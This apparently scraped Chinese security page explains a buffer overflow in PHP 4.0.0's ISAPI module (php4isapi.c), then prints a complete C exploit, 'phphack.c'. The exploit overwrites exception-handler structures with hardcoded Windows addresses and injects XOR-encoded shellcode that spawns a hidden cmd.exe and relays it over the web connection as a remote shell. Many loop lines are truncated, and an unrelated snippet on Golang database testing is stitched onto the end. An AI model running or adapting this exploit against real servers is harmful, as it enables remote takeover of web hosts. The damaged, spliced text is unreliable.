hp4.0.0才出来的时候，我们测试发现php4isasp.dll有缓冲溢出漏洞，下面是php4isapi.c的相关源代码：
static void sapi_isapi_register_server_variables(zval *track_vars_array ELS_DC SLS_DC PLS_DC)
{
char static_variable_buf[ISAPI_SERVER_VAR_BUF_SIZE];
char *variable_buf;
DWORD variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
char *variable;
char *strtok_buf = NULL;
LPEXTENSION_CONTROL_BLOCK lpECB;
char **p = isapi_server_variables;
lpECB = (LPEXTENSION_CONTROL_BLOCK) SG(server_context);
/* Register the standard ISAPI variables */
while (*p) {
variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
if (lpECB->GetServerVariable(lpECB->ConnID, *p, static_variable_buf, &variable_len)
&& static_variable_buf[0]) {
php_register_variable(*p, static_variable_buf, track_vars_array ELS_CC PLS_CC);
} else if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
variable_buf = (char *) emalloc(variable_len);
if (lpECB->GetServerVariable(lpECB->ConnID, *p, variable_buf, &variable_len)
&& variable_buf[0]) {
php_register_variable(*p, variable_buf, track_vars_array ELS_CC PLS_CC);
}
efree(variable_buf);
}
p++;
}
/* PHP_SELF support */
#ifdef WITH_ZEUS
if (lpECB->GetServerVariable(lpECB->ConnID, "PATH_INFO", static_variable_buf, &variable_len)
#else
if (lpECB->GetServerVariable(lpECB->ConnID, "SCRIPT_NAME", static_variable_buf, &variable_len)
/* php4.0.0漏洞所在地，缓冲溢出。此时的variable_len变量已经是上次调用GetServerVariable 的返回变量 */
/* php4.0.3 已经修补 */
#endif
&& static_variable_buf[0]) {
php_register_variable("PHP_SELF", static_variable_buf, track_vars_array ELS_CC PLS_CC);
/*
因为形参被覆盖，而这形参又很难伪造，所以传统的溢出攻击因为这个调用不能返回而无效
但我们可以使用异常结构攻击，可以参见我的相关的文章
*/
}
/* Register the internal bits of ALL_HTTP */
variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
if (lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", static_variable_buf, &variable_len)) {
variable_buf = static_variable_buf;
} else {
if (GetLastError()==ERROR_INSUFFICIENT_BUFFER) {
variable_buf = (char *) emalloc(variable_len);
if (!lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", variable_buf, &variable_len)) {
efree(variable_buf);
return;
}
} else {
return;
}
}
variable = php_strtok_r(variable_buf, "\r\n", &strtok_buf);
while (variable) {
char *colon = strchr(variable, ':');
if (colon) {
char *value = colon+1;
while (*value==' ') {
value++;
}
*colon = 0;
php_register_variable(variable, value, track_vars_array ELS_CC PLS_CC);
*colon = ':';
}
variable = php_strtok_r(NULL, "\r\n", &strtok_buf);
}
if (variable_buf!=static_variable_buf) {
efree(variable_buf);
}
}
因为形参的问题，采用的覆盖异常处理结构的办法使得shellcode代码得到控制。但因为异常结构代码相对不统一，可能需要根据被攻击系统的WINDOWS版本调整相关参数。具体攻击测试代码：
/*
php4.0 overflow program phphack.c ver 1.0
copy by yuange
*/
#include
#include
#include
#include
// #define DEBUG
//#define RETEIPADDR eipwin2000
#define FNENDLONG 0x08
#define NOPCODE 'B' // INC EDX 0x90
#define NOPLONG 0x3c
#define BUFFSIZE 0x20000
#define RETEIPADDRESS 0x900+4
#define SHELLBUFFSIZE 0x800
#define SHELLFNNUMS 9
#define DATAXORCODE 0xAA
#define LOCKBIGNUM 19999999
#define LOCKBIGNUM2 13579139
#define SHELLPORT 0x1f90 //0x1f90=8080
#define WEBPORT 80
void shellcodefnlock();
void shellcodefn(char *ecb);
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);
int main(int argc, char **argv)
{
char *server;
char *str="LoadLibraryA""\x0""CreatePipe""\x0"
"CreateProcessA""\x0""CloseHandle""\x0"
"PeekNamedPipe""\x0"
"ReadFile""\x0""WriteFile""\x0"
"Sleep""\x0"
"cmd.exe""\x0""\x0d\x0a""exit""\x0d\x0a""\x0"
"XORDATA""\x0"
"strend";
char buff1[]="GET /default.php4";
char buff2[]=" HTTP/1.1 \nHOST:";
char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char SRLF[]="\x0d\x0a\x00\x00";
char eipjmpesp[] ="\xb7\x0e\xfa\x7f";
// push esp
// ret
char eipexcept[]="\xb8\x0e\xfa\x7F";
// ret
char eipjmpesi[]="\x08\x88\xfa\x7F";
char eipjmpedi[]="\xbe\x8b\xfa\x7F";
char eipjmpebx[]="\x73\x67\xfa\x7F";
// push ebx
// ret
/*
jmp ebx功能代码地址， 中文WINNT、中文WIN2000此地址固定
这是处于c_936.nls模块
win2000发生异常调用异常处理结构代码时ebx指向异常结构。winnt老版本是esi,可用7ffa8808,后面版本是edi,可用7ffa8bbe。
*/
char buff[BUFFSIZE];
char recvbuff[BUFFSIZE];
char shellcodebuff[0x1000];
struct sockaddr_in s_in2,s_in3;
struct hostent *he;
char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong;
// unsigned
int i,j,k;
unsigned char temp;
int fd;
u_short port,port1,shellcodeport;
SOCKET d_ip;
WSADATA wsaData;
int offset=0;
int xordatabegin;
int lockintvar1,lockintvar2;
char lockcharvar;
int OVERADD=RETEIPADDRESS;
int result;
fprintf(stderr,"\n PHP4.0 FOR WIN32 OVERFLOW PROGRAM 2.0 .");
fprintf(stderr,"\n copy by yuange 2000.8.16.");
fprintf(stderr,"\n wellcome to my homepage http://yuange.yeah.net .");
fprintf(stderr,"\n welcome to http://www.nsfocus.com .");
fprintf(stderr,"\n usage: %s
if(argc fprintf(stderr,"\n please enter the web server:");
gets(recvbuff);
for(i=0;i
}
server=recvbuff;
if(i
fprintf(stderr,"\n please enter the offset(0-3):");
gets(buff);
for(i=0;i
}
offset=atoi(buff+i);
*/
}
result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}
/*
if(argc>2){
offset=atoi(argv[2]);
}
OVERADD+=offset;
if(offset3){
fprintf(stderr,"\n offset error !offset 0 - 3 .");
gets(buff);
exit(1);
}
*/
if(argc // WSACleanup( );
// exit(1);
}
else server = argv[1];
for(i=0;i
break;
}
if(i
for(i=0;i+3
if(server[i]==':'){
if(server[i+1]=='\\'||server[i+1]=='/'){
if(server[i+2]=='\\'||server[i+2]=='/'){
server+=i;
server+=3;
break;
}
}
}
}
for(i=1;i if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0;
}
d_ip = inet_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("\n Can't get the ip of %s !\n",server);
gets(buff);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>2) port=atoi(argv[2]);
else port=WEBPORT;
if(port==0) port=WEBPORT;
fd = socket(AF_INET, SOCK_STREAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(port);
s_in3.sin_addr.s_addr = d_ip;
printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0)
{
closesocket(fd);
WSACleanup( );
fprintf(stderr,"\n connect err.");
gets(buff);
exit(1);
}
_asm{
mov ESI,ESP
cmp ESI,ESP
}
_chkesp();
chkespadd=_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
i=*(int*)chkespadd;
chkespadd+=i;
chkespadd+=4;
}
shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
memset(buff,NOPCODE,BUFFSIZE);
if(argc>4){
memcpy(buff,argv[4],strlen(argv[4]));
}
else memcpy(buff,buff1,strlen(buff1));
// strcpy(buff,buff1);
// memset(buff+strlen(buff),NOPCODE,1);
memcpy(buff+OVERADD+0x60+NOPLONG,shellcodefnadd+k+4,0x80);
// memcpy(buff+NOPLONG,shellcodefnadd+k+4,0x80);
shellcodefnadd=shellcodefn;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
memcpy(shellcodebuff,shellcodefnadd,k); //j);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
for(i=0;i if(memcmp(str+i,"strend",6)==0) break;
}
memcpy(shellcodebuff+k,str,i);
sendpacketlong=k+i;
for(k=0;k if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
// if(memcmp(buff+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
}
for(i=0;i
temp^=DATAXORCODE;
if(temp buff[OVERADD+NOPLONG+k]='0';
// buff[NOPLONG+k]='0';
++k;
temp+=0x40;
}
buff[OVERADD+NOPLONG+k]=temp;
// buff[NOPLONG+k]=temp;
++k;
}
// memcpy(buff+OVERADD+NOPLONG+k,shellcodebuff,sendpacketlong);
// k+=sendpacketlong;
/*
for(i=-0x30;i memcpy(buff+OVERADD+i,eipexcept,4);
}
memcpy(buff+OVERADD+i,eipjmpesp,4);
*/
for(i=-40;i memcpy(buff+OVERADD+i,"\x42\x42\x42\x2D",4);
memcpy(buff+OVERADD+i+4,eipjmpebx,4);
}
memcpy(buff+OVERADD+i+8,"\x42\x42\x42\x42\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x5b\xff\x63\x64\x42\x42\x42\x42",24);
// fprintf(stderr,"\n offset:%d",offset);
/*
192.168.8.48
if(argc>2){
server=argv[2];
if(strcmp(server,"win9x")==0){
memcpy(buff+OVERADD,eipwin9x,4);
fprintf(stderr,"\n nuke win9x.");
}
if(strcmp(server,"winnt")==0){
memcpy(buff+OVERADD,eipwinnt,4);
fprintf(stderr,"\n nuke winnt.");
}
}
*/
sendpacketlong=k+OVERADD+i+NOPLONG;
//sendpacketlong=k+NOPLONG;
strcpy(buff+sendpacketlong,buff2);
strcpy(buff+sendpacketlong+strlen(buff2),server);
sendpacketlong=strlen(buff);
// buff[sendpacketlong]=0x90;
strcpy(buff+sendpacketlong,"\n\n");
/*
buff[sendpacketlong]=0x90;
for(i=-0x30;i memcpy(buff+sendpacketlong+OVERADD+i,eipexcept,4);
}
memcpy(buff+sendpacketlong+OVERADD+i,eipwinnt,4);
strcpy(buff+sendpacketlong+OVERADD+i+4,"\xff\x63\x64");
strcpy(buff+sendpacketlong+OVERADD+i+20,"\n\n");
*/
// printf("\n send buff:\n%s",buff);
// strcpy(buff+OVERADD+NOPLONG,shellcode);
sendpacketlong=strlen(buff);
/*
#ifdef DEBUG
_asm{
lea esp,buff
add esp,OVERADD
ret
}
#endif
*/
if(argc>6) {
if(strcmp(argv[6],"debug")==0) {
_asm{
lea esp,buff
add esp,OVERADD
ret
}
}
}
xordatabegin=0;
for(i=0;i j=sendpacketlong;
fprintf(stderr,"\n send packet %d bytes.",j);
// fprintf(stderr,"\n sned:\n%s ",buff);
send(fd,buff,j,0);
k=recv(fd,recvbuff,0x1000,0);
if(k>=8&&memcmp(recvbuff,"XORDATA",8)==0) {
xordatabegin=1;
k=-1;
fprintf(stderr,"\n ok!\n");
}
if(k>0){
recvbuff[k]=0;
fprintf(stderr,"\n recv:\n %s",recvbuff);
}
}
k=1;
ioctlsocket(fd, FIONBIO, &k);
// fprintf(stderr,"\n now begin: \n");
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;
/*
for(i=0;i
}
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
*/
k=1;
while(k!=0){
if(k gets(buff);
k=strlen(buff);
memcpy(buff+k,SRLF,3);
// send(fd,SRLF,strlen(SRLF),0);
// fprintf(stderr,"%s",buff);
for(i=0;i
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100;
buff[i]^=lockcharvar; // DATAXORCODE;
// buff[i]^=DATAXORCODE;
}
send(fd,buff,k+2,0);
// send(fd,SRLF,strlen(SRLF),0);
}
k=recv(fd,buff,0x1000,0);
if(xordatabegin==0&&k>=8&&memcmp(buff,"XORDATA",8)==0) {
xordatabegin=1;
k=-1;
}
if(k>0){
// fprintf(stderr,"recv %d bytes",k);
if(xordatabegin==1){
for(i=0;i
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100;
buff[i]^=lockcharvar; // DATAXORCODE;
}
}
buff[k]=0;
fprintf(stderr,"%s",buff);
}
// if(k==0) break;
}
closesocket(fd);
WSACleanup( );
fprintf(stderr,"\n the server close connect.");
gets(buff);
return(0);
}
void shellcodefnlock()
{
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
_emit('.')
_emit('p')
_emit('h')
_emit('p')
_emit('4')
_emit('?')
jmp next
getediadd: pop EDI
push EDI
pop ESI
push ebx // ecb
push ebx // call shellcodefn ret address
xor ecx,ecx
looplock: lodsb
cmp al,cl
jz shell
cmp al,0x30
jz clean0
sto: xor al,DATAXORCODE
stosb
jmp looplock
clean0: lodsb
sub al,0x40
jmp sto
next: call getediadd
shell: NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
void shellcodefn(char *ecb)
{ char Buff[SHELLBUFFSIZE+2];
int *except[2];
FARPROC Sleepadd;
FARPROC WriteFileadd;
FARPROC ReadFileadd;
FARPROC PeekNamedPipeadd;
FARPROC CloseHandleadd;
FARPROC CreateProcessadd;
FARPROC CreatePipeadd;
FARPROC procloadlib;
FARPROC apifnadd[1];
FARPROC procgetadd=0;
FARPROC writeclient= *(int *)(ecb+0x84);
FARPROC readclient = *(int *)(ecb+0x88);
HCONN ConnID = *(int *)(ecb+8) ;
char *stradd;
int imgbase,fnbase,k,l;
HANDLE libhandle; //libwsock32;
STARTUPINFO siinfo;
PROCESS_INFORMATION ProcessInformation;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
int lBytesRead;
int lockintvar1,lockintvar2;
char lockcharvar;
SECURITY_ATTRIBUTES sa;
_asm { jmp nextcall
getstradd: pop stradd
lea EDI,except
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
imgbase=0x77e00000;
_asm{
call getexceptretadd
}
for(;imgbase imgbase+=0x10000;
if(imgbase==0x78000000) imgbase=0xbff00000;
if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int *)(imgbase+0x3c))=='EP'){
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
libhandle=imgbase;
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor')
{
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
break;
}
}
}
}
}
//搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
//注意这儿处理了搜索页面不在情况。
if(procgetadd==0) goto die ;
for(k=1;k
for(;;++stradd){
if(*(stradd)==0&&*(stradd+1)!=0) break;
}
++stradd;
}
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);
// ZeroMemory(&siinfo,sizeof(siinfo));
_asm{
lea EDI,siinfo
xor eax,eax
mov ecx,0x11
repnz stosd
}
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_HIDE;
siinfo.hStdInput = hReadPipe2;
siinfo.hStdOutput=hWritePipe1;
siinfo.hStdError =hWritePipe1;
k=0;
// while(k==0)
// {
k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
stradd+=8;
// }
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
k=8;
writeclient(ConnID,stradd+9,&k,0);
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;
while(1) {
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
if(lBytesRead>0) {
ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead>0) {
for(k=0;k
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100;
Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
}
writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC);
}
}
else{
lBytesRead=SHELLBUFFSIZE;
k=readclient(ConnID,Buff,&lBytesRead);
if(k!=1){
k=8;
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
while(1){
Sleepadd(0x7fffffff); //僵死
}
}
else{
for(k=0;k
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100;
Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
}
WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
// Sleepadd(1000);
}
}
}
die: goto die ;
_asm{
getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
xor eax,eax //2
ret //1
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
int i,k;
unsigned char temp;
char *calladd;
for(i=0;i
if(temp==0xe8){
k=*(int *)(shellbuff+i+1);
calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
shellbuff[i]=0x90;
shellbuff[i+1]=0x43; // inc ebx
shellbuff[i+2]=0x4b; // dec ebx
shellbuff[i+3]=0x43;
shellbuff[i+4]=0x4b;
}
}
}
Golang中的数据库测试技巧Aug 10, 2023 pm 02:51 PMGolang中的数据库测试技巧引言：在开发应用程序时，数据库测试是一个非常重要的环节。合适的测试方法可以帮助我们发现潜在的问题并确保数据库操作的正确性。本文将介绍Golang中的一些常用数据库测试技巧，并提供相应的代码示例。一、使用内存数据库进行测试在编写数据库相关的测试时，我们通常会面临一个问题：如何在不依赖外部数据库的情况下进行测试？这里我们可以使用内存
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